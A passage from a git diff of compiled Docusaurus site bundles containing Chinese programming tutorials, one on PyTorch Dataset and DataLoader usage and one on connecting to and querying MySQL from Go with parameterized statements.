transform=data_transform)\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u4f7f\u7528\u4e86PyTorch\u81ea\u5e26\u7684ImageFolder\u7c7b\u7684\u7528\u4e8e\u8bfb\u53d6\u6309\u4e00\u5b9a\u7ed3\u6784\u5b58\u50a8\u7684\u56fe\u7247\u6570\u636e\uff08path\u5bf9\u5e94\u56fe\u7247\u5b58\u653e\u7684\u76ee\u5f55\uff0c\u76ee\u5f55\u4e0b\u5305\u542b\u82e5\u5e72\u5b50\u76ee\u5f55\uff0c\u6bcf\u4e2a\u5b50\u76ee\u5f55\u5bf9\u5e94\u5c5e\u4e8e\u540c\u4e00\u4e2a\u7c7b\u7684\u56fe\u7247\uff09\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u5176\u4e2d",(0,r.jsx)(n.code,{children:"data_transform"}),"\u53ef\u4ee5\u5bf9\u56fe\u50cf\u8fdb\u884c\u4e00\u5b9a\u7684\u53d8\u6362\uff0c\u5982\u7ffb\u8f6c\u3001\u88c1\u526a\u7b49\u64cd\u4f5c\uff0c\u53ef\u81ea\u5df1\u5b9a\u4e49\u3002\u8fd9\u91cc\u6211\u4eec\u4f1a\u5728\u4e0b\u4e00\u7ae0\u901a\u8fc7\u5b9e\u6218\u52a0\u4ee5\u4ecb\u7ecd\u5e76\u5728",(0,r.jsx)(n.a,{href:"https://github.com/datawhalechina/thorough-pytorch/tree/main/notebook/%E7%AC%AC%E5%85%AB%E7%AB%A0%20PyTorch%E7%94%9F%E6%80%81%E7%AE%80%E4%BB%8B",children:"notebook"}),"\u4e2d\u505a\u4e86\u793a\u4f8b\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u7ed9\u51fa\u4e00\u4e2a\u81ea\u5df1\u5b9a\u5236Dataset\u7684\u4f8b\u5b50"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:'\nimport os\nimport pandas as pd\nfrom torchvision.io import read_image\n\nclass MyDataset(Dataset):\n def __init__(self, annotations_file, img_dir, transform=None, target_transform=None):\n """\n Args:\n annotations_file (string): Path to the csv file with annotations.\n img_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n target_transform (callable, optional): Optional transform to be applied\n on the target.\n """\n self.img_labels = pd.read_csv(annotations_file)\n self.img_dir = img_dir\n self.transform = transform\n self.target_transform = target_transform\n\n def __len__(self):\n return len(self.img_labels)\n\n def __getitem__(self, idx):\n """\n Args:\n idx (int): Index\n """\n img_path = os.path.join(self.img_dir, self.img_labels.iloc[idx, 0])\n image = read_image(img_path)\n label = self.img_labels.iloc[idx, 1]\n if self.transform:\n image = self.transform(image)\n if self.target_transform:\n label = self.target_transform(label)\n return image, label\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u4e2d\uff0c\u6211\u4eec\u7684\u6807\u7b7e\u7c7b\u4f3c\u4e8e\u4ee5\u4e0b\u7684\u5f62\u5f0f\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-csv",children:"image1.jpg, 0\nimage2.jpg, 1\n......\nimage9.jpg, 9\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6784\u5efa\u597dDataset\u540e\uff0c\u5c31\u53ef\u4ee5\u4f7f\u7528DataLoader\u6765\u6309\u6279\u6b21\u8bfb\u5165\u6570\u636e\u4e86\uff0c\u5b9e\u73b0\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"from torch.utils.data import DataLoader\n\ntrain_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, num_workers=4, shuffle=True, drop_last=True)\nval_loader = torch.utils.data.DataLoader(val_data, batch_size=batch_size, num_workers=4, shuffle=False)\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u4e2d:"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"batch_size\uff1a\u6837\u672c\u662f\u6309\u201c\u6279\u201d\u8bfb\u5165\u7684\uff0cbatch_size\u5c31\u662f\u6bcf\u6b21\u8bfb\u5165\u7684\u6837\u672c\u6570"}),"\n",(0,r.jsx)(n.li,{children:"num_workers\uff1a\u6709\u591a\u5c11\u4e2a\u8fdb\u7a0b\u7528\u4e8e\u8bfb\u53d6\u6570\u636e\uff0cWindows\u4e0b\u8be5\u53c2\u6570\u8bbe\u7f6e\u4e3a0\uff0cLinux\u4e0b\u5e38\u89c1\u7684\u4e3a4\u6216\u80058\uff0c\u6839\u636e\u81ea\u5df1\u7684\u7535\u8111\u914d\u7f6e\u6765\u8bbe\u7f6e"}),"\n",(0,r.jsx)(n.li,{children:"shuffle\uff1a\u662f\u5426\u5c06\u8bfb\u5165\u7684\u6570\u636e\u6253\u4e71\uff0c\u4e00\u822c\u5728\u8bad\u7ec3\u96c6\u4e2d\u8bbe\u7f6e\u4e3aTrue\uff0c\u9a8c\u8bc1\u96c6\u4e2d\u8bbe\u7f6e\u4e3aFalse"}),"\n",(0,r.jsx)(n.li,{children:"drop_last\uff1a\u5bf9\u4e8e\u6837\u672c\u6700\u540e\u4e00\u90e8\u5206\u6ca1\u6709\u8fbe\u5230\u6279\u6b21\u6570\u7684\u6837\u672c\uff0c\u4f7f\u5176\u4e0d\u518d\u53c2\u4e0e\u8bad\u7ec3"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u53ef\u4ee5\u770b\u4e00\u4e0b\u6211\u4eec\u7684\u52a0\u8f7d\u7684\u6570\u636e\u3002PyTorch\u4e2d\u7684DataLoader\u7684\u8bfb\u53d6\u53ef\u4ee5\u4f7f\u7528next\u548citer\u6765\u5b8c\u6210"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"import matplotlib.pyplot as plt\nimages, labels = next(iter(val_loader))\nprint(images.shape)\nplt.imshow(images[0].transpose(1,2,0))\nplt.show()\n"})})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(c,{...e})}):c(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/625750b3.eb3b454c.js b/en/assets/js/625750b3.eb3b454c.js new file mode 100644 index 0000000..3450165 --- /dev/null +++ b/en/assets/js/625750b3.eb3b454c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6473],{19175:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>x,frontMatter:()=>i,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","title":"Golang-\u64cd\u4f5cMySQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/12.Golang-\u64cd\u4f5cMySQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/12.Golang-\u64cd\u4f5cMySQL.md","tags":[],"version":"current","sidebarPosition":12,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io"},"next":{"title":"Redis","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis"}}');var s=r(74848),l=r(28453);const i={},d=void 0,c={},a=[{value:"\u4e0b\u8f7d\u4f9d\u8d56",id:"\u4e0b\u8f7d\u4f9d\u8d56",level:3},{value:"\u4f7f\u7528MySQL\u9a71\u52a8",id:"\u4f7f\u7528mysql\u9a71\u52a8",level:3},{value:"\u521d\u59cb\u5316\u8fde\u63a5",id:"\u521d\u59cb\u5316\u8fde\u63a5",level:3},{value:"SetMaxOpenConns",id:"setmaxopenconns",level:3},{value:"SetMaxIdleConns",id:"setmaxidleconns",level:3},{value:"CRUD",id:"crud",level:2},{value:"\u5efa\u5e93\u5efa\u8868",id:"\u5efa\u5e93\u5efa\u8868",level:3},{value:"\u67e5\u8be2",id:"\u67e5\u8be2",level:3},{value:"\u5355\u884c\u67e5\u8be2",id:"\u5355\u884c\u67e5\u8be2",level:4},{value:"\u591a\u884c\u67e5\u8be2",id:"\u591a\u884c\u67e5\u8be2",level:4},{value:"\u63d2\u5165\u6570\u636e",id:"\u63d2\u5165\u6570\u636e",level:3},{value:"\u66f4\u65b0\u6570\u636e",id:"\u66f4\u65b0\u6570\u636e",level:3},{value:"\u5220\u9664\u6570\u636e",id:"\u5220\u9664\u6570\u636e",level:3},{value:"MySQL\u9884\u5904\u7406",id:"mysql\u9884\u5904\u7406",level:2},{value:"\u4ec0\u4e48\u662f\u9884\u5904\u7406\uff1f",id:"\u4ec0\u4e48\u662f\u9884\u5904\u7406",level:3},{value:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406\uff1f",id:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406",level:3},{value:"Go\u5b9e\u73b0MySQL\u9884\u5904\u7406",id:"go\u5b9e\u73b0mysql\u9884\u5904\u7406",level:3},{value:"SQL\u6ce8\u5165\u95ee\u9898",id:"sql\u6ce8\u5165\u95ee\u9898",level:3},{value:"Go\u5b9e\u73b0MySQL\u4e8b\u52a1",id:"go\u5b9e\u73b0mysql\u4e8b\u52a1",level:2},{value:"\u4ec0\u4e48\u662f\u4e8b\u52a1\uff1f",id:"\u4ec0\u4e48\u662f\u4e8b\u52a1",level:3},{value:"\u4e8b\u52a1\u7684ACID",id:"\u4e8b\u52a1\u7684acid",level:3},{value:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5",id:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5",level:3},{value:"\u4e8b\u52a1\u793a\u4f8b",id:"\u4e8b\u52a1\u793a\u4f8b",level:3}];function o(e){const n={a:"a",code:"code",h2:"h2",h3:"h3",h4:"h4",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,s.jsxs)(n.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(n.code,{children:"database/sql"}),"\u5305\u63d0\u4f9b\u4e86\u4fdd\u8bc1SQL\u6216\u7c7bSQL\u6570\u636e\u5e93\u7684\u6cdb\u7528\u63a5\u53e3\uff0c\u5e76\u4e0d\u63d0\u4f9b\u5177\u4f53\u7684\u6570\u636e\u5e93\u9a71\u52a8\u3002\u4f7f\u7528",(0,s.jsx)(n.code,{children:"database/sql"}),"\u5305\u65f6\u5fc5\u987b\u6ce8\u5165\uff08\u81f3\u5c11\uff09\u4e00\u4e2a\u6570\u636e\u5e93\u9a71\u52a8\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u5e38\u7528\u7684\u6570\u636e\u5e93\u57fa\u672c\u4e0a\u90fd\u6709\u5b8c\u6574\u7684\u7b2c\u4e09\u65b9\u5b9e\u73b0\u3002\u4f8b\u5982\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/go-sql-driver/mysql",children:"MySQL\u9a71\u52a8"})]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e0b\u8f7d\u4f9d\u8d56",children:"\u4e0b\u8f7d\u4f9d\u8d56"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"go get -u github.com/go-sql-driver/mysql\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u4f7f\u7528mysql\u9a71\u52a8",children:"\u4f7f\u7528MySQL\u9a71\u52a8"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func Open(driverName, dataSourceName string) (*DB, error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"Open\u6253\u5f00\u4e00\u4e2adirverName\u6307\u5b9a\u7684\u6570\u636e\u5e93\uff0cdataSourceName\u6307\u5b9a\u6570\u636e\u6e90\uff0c\u4e00\u822c\u81f3\u5c11\u5305\u62ec\u6570\u636e\u5e93\u6587\u4ef6\u540d\u548c\u5176\u5b83\u8fde\u63a5\u5fc5\u8981\u7684\u4fe1\u606f\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'import (\n\t"database/sql"\n\n\t_ "github.com/go-sql-driver/mysql"\n)\n\nfunc main() {\n // DSN:Data Source Name\n\tdsn := "user:password@tcp(127.0.0.1:3306)/dbname"\n\tdb, err := sql.Open("mysql", dsn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer db.Close() // \u6ce8\u610f\u8fd9\u884c\u4ee3\u7801\u8981\u5199\u5728\u4e0a\u9762err\u5224\u65ad\u7684\u4e0b\u9762\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u601d\u8003\u9898"}),"\uff1a \u4e3a\u4ec0\u4e48\u4e0a\u9762\u4ee3\u7801\u4e2d\u7684",(0,s.jsx)(n.code,{children:"defer db.Close()"}),"\u8bed\u53e5\u4e0d\u5e94\u8be5\u5199\u5728",(0,s.jsx)(n.code,{children:"if err != nil"}),"\u7684\u524d\u9762\u5462\uff1f"]}),"\n",(0,s.jsx)(n.h3,{id:"\u521d\u59cb\u5316\u8fde\u63a5",children:"\u521d\u59cb\u5316\u8fde\u63a5"}),"\n",(0,s.jsx)(n.p,{children:"Open\u51fd\u6570\u53ef\u80fd\u53ea\u662f\u9a8c\u8bc1\u5176\u53c2\u6570\u683c\u5f0f\u662f\u5426\u6b63\u786e\uff0c\u5b9e\u9645\u4e0a\u5e76\u4e0d\u521b\u5efa\u4e0e\u6570\u636e\u5e93\u7684\u8fde\u63a5\u3002\u5982\u679c\u8981\u68c0\u67e5\u6570\u636e\u6e90\u7684\u540d\u79f0\u662f\u5426\u771f\u5b9e\u6709\u6548\uff0c\u5e94\u8be5\u8c03\u7528Ping\u65b9\u6cd5\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u8fd4\u56de\u7684DB\u5bf9\u8c61\u53ef\u4ee5\u5b89\u5168\u5730\u88ab\u591a\u4e2agoroutine\u5e76\u53d1\u4f7f\u7528\uff0c\u5e76\u4e14\u7ef4\u62a4\u5176\u81ea\u5df1\u7684\u7a7a\u95f2\u8fde\u63a5\u6c60\u3002\u56e0\u6b64\uff0cOpen\u51fd\u6570\u5e94\u8be5\u4ec5\u88ab\u8c03\u7528\u4e00\u6b21\uff0c\u5f88\u5c11\u9700\u8981\u5173\u95ed\u8fd9\u4e2aDB\u5bf9\u8c61\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf",(0,s.jsx)(n.code,{children:"db"}),"\uff0c\u7528\u6765\u4fdd\u5b58\u6570\u636e\u5e93\u8fde\u63a5\u5bf9\u8c61\u3002\u5c06\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u62c6\u5206\u51fa\u4e00\u4e2a\u72ec\u7acb\u7684",(0,s.jsx)(n.code,{children:"initDB"}),"\u51fd\u6570\uff0c\u53ea\u9700\u8981\u5728\u7a0b\u5e8f\u542f\u52a8\u65f6\u8c03\u7528\u4e00\u6b21\u8be5\u51fd\u6570\u5b8c\u6210\u5168\u5c40\u53d8\u91cfdb\u7684\u521d\u59cb\u5316\uff0c\u5176\u4ed6\u51fd\u6570\u4e2d\u5c31\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528\u5168\u5c40\u53d8\u91cf",(0,s.jsx)(n.code,{children:"db"}),"\u4e86\u3002\uff08",(0,s.jsx)(n.strong,{children:"\u6ce8\u610f\u4e0b\u65b9\u7684\u6ce8\u610f"}),"\uff09"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u5b9a\u4e49\u4e00\u4e2a\u5168\u5c40\u5bf9\u8c61db\nvar db *sql.DB\n\n// \u5b9a\u4e49\u4e00\u4e2a\u521d\u59cb\u5316\u6570\u636e\u5e93\u7684\u51fd\u6570\nfunc initDB() (err error) {\n\t// DSN:Data Source Name\n\tdsn := "user:password@tcp(127.0.0.1:3306)/sql_test?charset=utf8mb4&parseTime=True"\n\t// \u4e0d\u4f1a\u6821\u9a8c\u8d26\u53f7\u5bc6\u7801\u662f\u5426\u6b63\u786e\n\t// \u6ce8\u610f\uff01\uff01\uff01\u8fd9\u91cc\u4e0d\u8981\u4f7f\u7528:=\uff0c\u6211\u4eec\u662f\u7ed9\u5168\u5c40\u53d8\u91cf\u8d4b\u503c\uff0c\u7136\u540e\u5728main\u51fd\u6570\u4e2d\u4f7f\u7528\u5168\u5c40\u53d8\u91cfdb\n\tdb, err = sql.Open("mysql", dsn)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// \u5c1d\u8bd5\u4e0e\u6570\u636e\u5e93\u5efa\u7acb\u8fde\u63a5\uff08\u6821\u9a8cdsn\u662f\u5426\u6b63\u786e\uff09\n\terr = db.Ping()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc main() {\n\terr := initDB() // \u8c03\u7528\u8f93\u51fa\u5316\u6570\u636e\u5e93\u7684\u51fd\u6570\n\tif err != nil {\n\t\tfmt.Printf("init db failed,err:%v\\n", err)\n\t\treturn\n\t}\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5176\u4e2d",(0,s.jsx)(n.code,{children:"sql.DB"}),"\u662f\u8868\u793a\u8fde\u63a5\u7684\u6570\u636e\u5e93\u5bf9\u8c61\uff08\u7ed3\u6784\u4f53\u5b9e\u4f8b\uff09\uff0c\u5b83\u4fdd\u5b58\u4e86\u8fde\u63a5\u6570\u636e\u5e93\u76f8\u5173\u7684\u6240\u6709\u4fe1\u606f\u3002\u5b83\u5185\u90e8\u7ef4\u62a4\u7740\u4e00\u4e2a\u5177\u6709\u96f6\u5230\u591a\u4e2a\u5e95\u5c42\u8fde\u63a5\u7684\u8fde\u63a5\u6c60\uff0c\u5b83\u53ef\u4ee5\u5b89\u5168\u5730\u88ab\u591a\u4e2agoroutine\u540c\u65f6\u4f7f\u7528\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"setmaxopenconns",children:"SetMaxOpenConns"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) SetMaxOpenConns(n int)\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"SetMaxOpenConns"}),"\u8bbe\u7f6e\u4e0e\u6570\u636e\u5e93\u5efa\u7acb\u8fde\u63a5\u7684\u6700\u5927\u6570\u76ee\u3002 \u5982\u679cn\u5927\u4e8e0\u4e14\u5c0f\u4e8e\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\uff0c\u4f1a\u5c06\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\u51cf\u5c0f\u5230\u5339\u914d\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\u7684\u9650\u5236\u3002 \u5982\u679c",(0,s.jsx)(n.code,{children:"n<=0"}),"\uff0c\u4e0d\u4f1a\u9650\u5236\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\uff0c\u9ed8\u8ba4\u4e3a0\uff08\u65e0\u9650\u5236\uff09\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"setmaxidleconns",children:"SetMaxIdleConns"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) SetMaxIdleConns(n int)\n"})}),"\n",(0,s.jsxs)(n.p,{children:["SetMaxIdleConns\u8bbe\u7f6e\u8fde\u63a5\u6c60\u4e2d\u7684\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\u3002 \u5982\u679cn\u5927\u4e8e\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\uff0c\u5219\u65b0\u7684\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\u4f1a\u51cf\u5c0f\u5230\u5339\u914d\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\u7684\u9650\u5236\u3002 \u5982\u679c",(0,s.jsx)(n.code,{children:"n<="}),"0\uff0c\u4e0d\u4f1a\u4fdd\u7559\u95f2\u7f6e\u8fde\u63a5\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"crud",children:"CRUD"}),"\n",(0,s.jsx)(n.h3,{id:"\u5efa\u5e93\u5efa\u8868",children:"\u5efa\u5e93\u5efa\u8868"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u5148\u5728MySQL\u4e2d\u521b\u5efa\u4e00\u4e2a\u540d\u4e3a",(0,s.jsx)(n.code,{children:"sql_test"}),"\u7684\u6570\u636e\u5e93"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sql",children:"CREATE DATABASE sql_test;\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fdb\u5165\u8be5\u6570\u636e\u5e93:"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sql",children:"use sql_test;\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u521b\u5efa\u4e00\u5f20\u7528\u4e8e\u6d4b\u8bd5\u7684\u6570\u636e\u8868\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sql",children:"CREATE TABLE `user` (\n `id` BIGINT(20) NOT NULL AUTO_INCREMENT,\n `name` VARCHAR(20) DEFAULT '',\n `age` INT(11) DEFAULT '0',\n PRIMARY KEY(`id`)\n)ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4;\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u67e5\u8be2",children:"\u67e5\u8be2"}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u65b9\u4fbf\u67e5\u8be2\uff0c\u6211\u4eec\u4e8b\u5148\u5b9a\u4e49\u597d\u4e00\u4e2a\u7ed3\u6784\u4f53\u6765\u5b58\u50a8user\u8868\u7684\u6570\u636e\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"type user struct {\n\tid int\n\tage int\n\tname string\n}\n"})}),"\n",(0,s.jsx)(n.h4,{id:"\u5355\u884c\u67e5\u8be2",children:"\u5355\u884c\u67e5\u8be2"}),"\n",(0,s.jsxs)(n.p,{children:["\u5355\u884c\u67e5\u8be2",(0,s.jsx)(n.code,{children:"db.QueryRow()"}),"\u6267\u884c\u4e00\u6b21\u67e5\u8be2\uff0c\u5e76\u671f\u671b\u8fd4\u56de\u6700\u591a\u4e00\u884c\u7ed3\u679c\uff08\u5373Row\uff09\u3002QueryRow\u603b\u662f\u8fd4\u56de\u975enil\u7684\u503c\uff0c\u76f4\u5230\u8fd4\u56de\u503c\u7684Scan\u65b9\u6cd5\u88ab\u8c03\u7528\u65f6\uff0c\u624d\u4f1a\u8fd4\u56de\u88ab\u5ef6\u8fdf\u7684\u9519\u8bef\u3002\uff08\u5982\uff1a\u672a\u627e\u5230\u7ed3\u679c\uff09"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) QueryRow(query string, args ...interface{}) *Row\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u67e5\u8be2\u5355\u6761\u6570\u636e\u793a\u4f8b\nfunc queryRowDemo() {\n\tsqlStr := "select id, name, age from user where id=?"\n\tvar u user\n\t// \u975e\u5e38\u91cd\u8981\uff1a\u786e\u4fddQueryRow\u4e4b\u540e\u8c03\u7528Scan\u65b9\u6cd5\uff0c\u5426\u5219\u6301\u6709\u7684\u6570\u636e\u5e93\u94fe\u63a5\u4e0d\u4f1a\u88ab\u91ca\u653e\n\terr := db.QueryRow(sqlStr, 1).Scan(&u.id, &u.name, &u.age)\n\tif err != nil {\n\t\tfmt.Printf("scan failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("id:%d name:%s age:%d\\n", u.id, u.name, u.age)\n}\n'})}),"\n",(0,s.jsx)(n.h4,{id:"\u591a\u884c\u67e5\u8be2",children:"\u591a\u884c\u67e5\u8be2"}),"\n",(0,s.jsxs)(n.p,{children:["\u591a\u884c\u67e5\u8be2",(0,s.jsx)(n.code,{children:"db.Query()"}),"\u6267\u884c\u4e00\u6b21\u67e5\u8be2\uff0c\u8fd4\u56de\u591a\u884c\u7ed3\u679c\uff08\u5373Rows\uff09\uff0c\u4e00\u822c\u7528\u4e8e\u6267\u884cselect\u547d\u4ee4\u3002\u53c2\u6570args\u8868\u793aquery\u4e2d\u7684\u5360\u4f4d\u53c2\u6570\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Query(query string, args ...interface{}) (*Rows, error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5177\u4f53\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u67e5\u8be2\u591a\u6761\u6570\u636e\u793a\u4f8b\nfunc queryMultiRowDemo() {\n\tsqlStr := "select id, name, age from user where id > ?"\n\trows, err := db.Query(sqlStr, 0)\n\tif err != nil {\n\t\tfmt.Printf("query failed, err:%v\\n", err)\n\t\treturn\n\t}\n\t// \u975e\u5e38\u91cd\u8981\uff1a\u5173\u95edrows\u91ca\u653e\u6301\u6709\u7684\u6570\u636e\u5e93\u94fe\u63a5\n\tdefer rows.Close()\n\n\t// \u5faa\u73af\u8bfb\u53d6\u7ed3\u679c\u96c6\u4e2d\u7684\u6570\u636e\n\tfor rows.Next() {\n\t\tvar u user\n\t\terr := rows.Scan(&u.id, &u.name, &u.age)\n\t\tif err != nil {\n\t\t\tfmt.Printf("scan failed, err:%v\\n", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Printf("id:%d name:%s age:%d\\n", u.id, u.name, u.age)\n\t}\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u63d2\u5165\u6570\u636e",children:"\u63d2\u5165\u6570\u636e"}),"\n",(0,s.jsxs)(n.p,{children:["\u63d2\u5165\u3001\u66f4\u65b0\u548c\u5220\u9664\u64cd\u4f5c\u90fd\u4f7f\u7528",(0,s.jsx)(n.code,{children:"Exec"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) Exec(query string, args ...interface{}) (Result, 